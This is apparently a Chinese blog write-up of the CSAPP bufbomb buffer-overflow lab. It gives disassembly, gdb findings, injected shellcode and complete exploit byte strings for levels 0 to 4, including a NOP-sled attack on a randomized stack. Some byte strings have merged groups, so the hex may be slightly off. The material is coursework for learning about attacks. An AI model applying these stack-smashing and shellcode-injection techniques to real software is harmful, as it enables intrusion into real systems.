您的位置:首页 > 移动开发

CSAPP:Lab3 bufbomb实验记录

2016-05-04 16:33 375 查看
ID:alucard

Cookie:0x1b6069a4

Level 0:

要求getbuf()执行完后,跳到smoke()里面

080491f4<getbuf>:

 80491f4:    55                      push   %ebp

 80491f5:    89e5                   mov    %esp,%ebp

 80491f7:    83ec 38                 sub    $0x38,%esp

 80491fa:    8d45 d8                 lea    -0x28(%ebp),%eax

 80491fd:    8904 24                 mov    %eax,(%esp)

 8049200:   e8f5 fa ff ff         call   8048cfa <Gets>

 8049205:   b801 00 00 00           mov    $0x1,%eax

 804920a:    c9                       leave 

 804920b:   c3                       ret   

08048c18<smoke>:

 8048c18:    55                      push   %ebp

 8048c19:    89e5                   mov    %esp,%ebp

 8048c1b:    83ec 18                 sub    $0x18,%esp

 8048c1e:    c704 24 d3 a4 04 08      movl   $0x804a4d3,(%esp)

 8048c25:    e896 fc ff ff         call   80488c0<puts@plt>

 8048c2a:    c704 24 00 00 00 00      movl   $0x0,(%esp)

 8048c31:    e845 07 00 00           call   804937b<validate>

 8048c36:    c704 24 00 00 00 00      movl   $0x0,(%esp)

 8048c3d:    e8be fc ff ff         call   8048900<exit@plt>

首先知道了smoke的函数地址为0x08048c18,我们要输入将其输入到ebp上面的返回地址,怎么输入呢?观察知-28(%ebp)是我们输入字符串开头,28+4=2c,即我们要先随便输入44个字符,再输入smoke()的地址

00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08

成功。

Level 1:

08048c42<fizz>:

 8048c42:    55                      push   %ebp

 8048c43:    89e5                   mov    %esp,%ebp

 8048c45:    83ec 18                 sub    $0x18,%esp

 8048c48:    8b45 08                 mov    0x8(%ebp),%eax

 8048c4b:    3b05 08 d1 04 08        cmp    0x804d108,%eax

 8048c51:    7526                   jne    8048c79<fizz+0x37>

 8048c53:    8944 24 08              mov    %eax,0x8(%esp)

 8048c57:    c744 24 04 ee a4 04      movl   $0x804a4ee,0x4(%esp)

 8048c5e:    08

 8048c5f:    c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048c66:    e855 fd ff ff       call   80489c0<__printf_chk@plt>

 8048c6b:    c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048c72:    e804 07 00 00           call   804937b<validate>

 8048c77:    eb18                   jmp    8048c91<fizz+0x4f>

 8048c79:    8944 24 08              mov    %eax,0x8(%esp)

 8048c7d:    c744 24 04 40 a3 04      movl   $0x804a340,0x4(%esp)

 8048c84:    08

 8048c85:    c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048c8c:    e82f fd ff ff         call   80489c0 <__printf_chk@plt>

 8048c91:    c704 24 00 00 00 00      movl   $0x0,(%esp)

 8048c98:    e863 fc ff ff         call   8048900<exit@plt>

 

080491f4<getbuf>:

 80491f4:    55                      push   %ebp

 80491f5:    89e5                   mov    %esp,%ebp

 80491f7:    83ec 38                 sub    $0x38,%esp

 80491fa:    8d45 d8                 lea    -0x28(%ebp),%eax

 80491fd:    8904 24                 mov    %eax,(%esp)

 8049200:   e8f5 fa ff ff         call   8048cfa <Gets>

 8049205:   b801 00 00 00           mov    $0x1,%eax

 804920a:    c9                       leave 

 804920b:   c3                       ret

根据ppt里面所说,我不仅需要调用fizz(),还要传入我的Cookie: 0x1b6069a4作为参数,否则不能过关。

首先同上一题输入00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08

调用fizz()是必须得做的,那么关键是怎么输入参数。Getbuf()执行完后程序立刻跳到了fizz()的第一行,将被我们改了的ebp的内容(被修改了无关紧要)压栈进去,再将ebp的内容更新为esp当前所指向的地方——即原先的ebp+4处(上一个返回地址在栈中的位置).而,参数是在ebp+8的地方,所以我们只需要再输入8个字节随意内容,最后输入cookie就行了。00 00 00 00 a4 69 60 1b(以此可以观察到栈中存放参数的方式)

总输入:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 0000 00 00 a4 69 60 1b

成功:

Level2:

080491f4<getbuf>:

 80491f4:    55                      push   %ebp

 80491f5:    89e5                   mov    %esp,%ebp

 80491f7:    83ec 38                 sub    $0x38,%esp

 80491fa:    8d45 d8                 lea    -0x28(%ebp),%eax

 80491fd:    8904 24                 mov    %eax,(%esp)

 8049200:   e8f5 fa ff ff         call   8048cfa <Gets>

 8049205:   b801 00 00 00           mov    $0x1,%eax

 804920a:    c9                       leave 

 804920b:   c3                       ret

08048c9d<bang>:

 8048c9d:    55                      push   %ebp

 8048c9e:    89e5                   mov    %esp,%ebp

 8048ca0:    83ec 18                 sub    $0x18,%esp

 8048ca3:    a100 d1 04 08           mov    0x804d100,%eax

 8048ca8:    3b05 08 d1 04 08        cmp    0x804d108,%eax

 8048cae:    7526                   jne    8048cd6<bang+0x
b7d9
39>

 8048cb0:    8944 24 08              mov    %eax,0x8(%esp)

 8048cb4:    c744 24 04 60 a3 04      movl   $0x804a360,0x4(%esp)

 8048cbb:    08

 8048cbc:    c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048cc3:    e8f8 fc ff ff         call   80489c0<__printf_chk@plt>

 8048cc8:    c704 24 02 00 00 00      movl   $0x2,(%esp)

 8048ccf:     e8a7 06 00 00           call   804937b<validate>

 8048cd4:    eb18                   jmp    8048cee<bang+0x51>

 8048cd6:    8944 24 08              mov    %eax,0x8(%esp)

 8048cda:    c744 24 04 0c a5 04      movl   $0x804a50c,0x4(%esp)

 8048ce1:    08

 8048ce2:    c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048ce9:    e8d2 fc ff ff         call   80489c0<__printf_chk@plt>

 8048cee:    c704 24 00 00 00 00      movl   $0x0,(%esp)

 8048cf5:    e806 fc ff ff         call   8048900<exit@plt>

同样,我必须要跳到bang();不过该任务还要求我们跳到bang()之前,修改global_value的值,使其值为我的cookie:0x1b6069a4,否则游戏无法过关。

0804d100 g     O .bss   00000004              global_value

我在符号表中查询到global_value的地址,其地址值远远小于getbuf段的地址,而且它在bss段,是未初始化的全局变量。我们输入字符串是无法覆盖到这边区域的,必须通过写入代码来修改global_value。

eax存放着字符串的首地址,我们想到,可以将getbuf的返回地址改为eax的地址,让其执行字符串里面的机器代码,再跳到bang()里面。

先通过gdb,80491fd:     89 04 24                 mov    %eax,(%esp),在此处设置断点,再随意输入一串字符,到了断点后输出eax包含的地址

此时字符串的首地址是0x55683248

此时写修改global_value的代码:

movl $0x1b6069a4,%eax

movl %eax,0x0804d100

push $0x08048c9d       //将bang()的地址入栈

ret                             //跳到bang()处

将其进行汇编,得到机器代码0x55683248

答案:b8 a4 69 60 1b a3 00 d1 04 08 68 9d 8c 04 08 c3 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 32 68 55

成功。

 

Level3:

08048daa<test>:

 8048daa:    55                      push   %ebp

 8048dab:    89e5                   mov    %esp,%ebp

 8048dad:    53                      push   %ebx

 8048dae:    83ec 24                 sub    $0x24,%esp

 8048db1:   e8da ff ff ff         call   8048d90<uniqueval>

 8048db6:   8945 f4                 mov    %eax,-0xc(%ebp)

 8048db9:   e836 04 00 00           call   80491f4<getbuf>

 8048dbe:   89c3                    mov    %eax,%ebx

 8048dc0:    e8cb ff ff ff         call   8048d90<uniqueval>

 8048dc5:    8b55 f4                 mov    -0xc(%ebp),%edx

 8048dc8:    39d0                   cmp    %edx,%eax

 8048dca:    740e                   je     8048dda<test+0x30>

 8048dcc:    c704 24 88 a3 04 08      movl   $0x804a388,(%esp)

 8048dd3:   e8e8 fa ff ff         call   80488c0<puts@plt>

 8048dd8:   eb46                   jmp    8048e20<test+0x76>

 8048dda:    3b1d 08 d1 04 08        cmp    0x804d108,%ebx

 8048de0:   7526                   jne    8048e08<test+0x5e>

 8048de2:   895c 24 08              mov    %ebx,0x8(%esp)

 8048de6:   c744 24 04 2a a5 04      movl   $0x804a52a,0x4(%esp)

 8048ded:   08

 8048dee:   c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048df5:    e8c6 fb ff ff         call   80489c0<__printf_chk@plt>

 8048dfa:    c704 24 03 00 00 00      movl   $0x3,(%esp)

 8048e01:   e875 05 00 00           call   804937b<validate>

 8048e06:   eb18                   jmp    8048e20 <test+0x76>

 8048e08:   895c 24 08              mov    %ebx,0x8(%esp)

 8048e0c:    c744 24 04 47 a5 04      movl   $0x804a547,0x4(%esp)

 8048e13:   08

 8048e14:   c704 24 01 00 00 00      movl   $0x1,(%esp)

 8048e1b:   e8a0 fb ff ff         call   80489c0<__printf_chk@plt>

 8048e20:   83c4 24                 add    $0x24,%esp

 8048e23:   5b                      pop    %ebx

 8048e24:   5d                      pop    %ebp

 8048e25:   c3                       ret   

080491f4<getbuf>:

 80491f4:    55                      push   %ebp

 80491f5:    89e5                   mov    %esp,%ebp

 80491f7:    83ec 38                 sub    $0x38,%esp

 80491fa:    8d45 d8                 lea    -0x28(%ebp),%eax

 80491fd:    8904 24                 mov    %eax,(%esp)

 8049200:   e8f5 fa ff ff         call   8048cfa <Gets>

 8049205:   b801 00 00 00           mov    $0x1,%eax

 804920a:    c9                       leave 

 804920b:   c3                       ret

该关要求getbuf()返回cookies,并且要保证各寄存器的正常运行。

我们知道,输入溢出的字符串后,会将getbuf()栈帧中保存的old ebp给覆盖掉,所以我们必须注意输入字符串时要保持ebp原来的值。

1.先用gdb找到ebp本应的值

即ebp的值应为0x556832a0

2.修复完后跳调用getbuf()后紧接着一句的地址0x8048dbe

3.开始写代码吧

movl $0x1b6069a4,%eax    //cookie

push $0x8048dbe              //推立即数入栈

ret  

汇编后的机器代码:               

剩下的,就跟上面一样了。b8 a4 69 60 1b          mov    $0x1b6069a4,%eax

   5:                                    68 be 8d 04 08         push   $0x8048dbe

   a:                                    c3

答案:b8 a4 69 60 1b 68 be 8d 04 08 c3 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a032 68 55 48 32 68 55

Level4:

08048e26 <testn>:

 8048e26:                             55                   push   %ebp

 8048e27:                             89 e5                  mov    %esp,%ebp

 8048e29:                             53                   push   %ebx

 8048e2a:                             83 ec 24               sub    $0x24,%esp

 8048e2d:                             e8 5e ff ff ff             call   8048d90 <uniqueval>

 8048e32:                             89 45 f4               mov    %eax,-0xc(%ebp)

 8048e35:                             e8 d2 03 00 00         call   804920c <getbufn>

 8048e3a:                             89 c3                  mov    %eax,%ebx

 8048e3c:                             e8 4f ff ff ff       call   8048d90 <uniqueval>

 8048e41:                             8b 55 f4               mov    -0xc(%ebp),%edx

 8048e44:                             39 d0                  cmp    %edx,%eax

 8048e46:                             74 0e                  je     8048e56<testn+0x30>

 8048e48:                             c7 04 24 88 a3 0408    movl   $0x804a388,(%esp)

 8048e4f:                             e8 6c fa ff ff             call   80488c0 <puts@plt>

 8048e54:                             eb 46                  jmp    8048e9c<testn+0x76>

 8048e56:                             3b 1d 08 d1 0408      cmp    0x804d108,%ebx

 8048e5c:                             75 26                  jne    8048e84<testn+0x5e>

 8048e5e:                             89 5c 24 08            mov    %ebx,0x8(%esp)

 8048e62:                             c7 44 24 04 b4 a304    movl   $0x804a3b4,0x4(%esp)

 8048e69:                             08

 8048e6a:                             c7 04 24 01 00 0000    movl   $0x1,(%esp)

 8048e71:                             e8 4a fb ff ff             call   80489c0 <__printf_chk@plt>

 8048e76:                             c7 04 24 04 00 0000    movl   $0x4,(%esp)

 8048e7d:                             e8 f9 04 00 00          call   804937b <validate>

 8048e82:                             eb 18                  jmp    8048e9c<testn+0x76>

 8048e84:                             89 5c 24 08            mov    %ebx,0x8(%esp)

 8048e88:                             c7 44 24 04 62 a504    movl   $0x804a562,0x4(%esp)

 8048e8f:                             08

 8048e90:                             c7 04 24 01 00 0000    movl   $0x1,(%esp)

 8048e97:                             e8 24 fb ff ff            call   80489c0 <__printf_chk@plt>

 8048e9c:                             83 c4 24               add    $0x24,%esp

 8048e9f:                             5b                   pop    %ebx

 8048ea0:                             5d                   pop    %ebp

 8048ea1:                             c3                     ret   

0804920c <getbufn>:

 804920c:                             55                   push   %ebp

 804920d:                             89 e5                  mov    %esp,%ebp

 804920f:                             81 ec 18 02 0000       sub    $0x218,%esp

 8049215:                             8d 85 f8 fd ffff    lea    -0x208(%ebp),%eax

 804921b:                             89 04 24               mov    %eax,(%esp)

 804921e:                             e8 d7 fa ff ff             call   8048cfa <Gets>

 8049223:                             b8 01 00 00 00         mov    $0x1,%eax

 8049228:                             c9                     leave 

 8049229:                             c3                     ret   

 804922a:                             90                   nop

 804922b:                             90                   nop

首先我们发现栈帧里面的恒等关系:%ebp=%esp+0x28

观察能发现,因为getbufn里面有leave指令的存在,所以我们只需要恢复ebp

写代码:

mov $0x1b6069a4,%eax

lea 0x28(%esp),%ebp

push $0x08048e3a

ret

//最后返回到testn()中调用getbufn()下一句

啊啊啊,汇编啊

00000000 <.text>:

   0:                                    b8 a4 69 60 1b         mov    $0x1b6069a4,%eax

   5:                                    8d 6c 24 28            lea    0x28(%esp),%ebp

   9:                                    68 3a 8e 04 08         push   $0x8048e3a

   e:                                    c3                     ret

b8 a4 69 60 1b 8d 6c 24 28 68 3a 8e 04 08 c3            

数组长度是520字节,其余8字节覆盖ebp和getbufn的返回地址。现在我们应该拿到buf首地址,这样才能执行上面反汇编出来的机器码。

问题来了。。我们怎么找到这个buf首地址呢,毕竟字符串首地址是变化的。这时我们可以用nop指令。

不要着急。。先通过GDB调试查看读入getbufn()内字符串buf的地址。

有五种。我们知道。一共要填写528字节,其中509字节nop,15字节机器代码,4字节返回地址。

0x55683068

0x55683038

0x55683008

0x55683098

0x55683098

NOP指令:程序计数器读取他后,不做任何对程序运行产生影响的动作。从地址低处到高处,一直90 90 90 90 90.。。。。就能读到那个15字节我们要用的机器代码。

另外,为了防止nop指令不够用,我们选地址最高的0x55683098,以他作为飙车的起始地址。选其他地址的话,可能老司机还没到目的地,汽油nop就用完了。。

所以string组成:509个90 b8 a4 69 60 1b8d 6c 24 28 68 3a 8e 04 08 c3 98 30 68 55 0a

为什么有0a呢?因为要输入5次字符串得有个终止啊。。0a相当于’\n’

MISSION COMPELETED
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: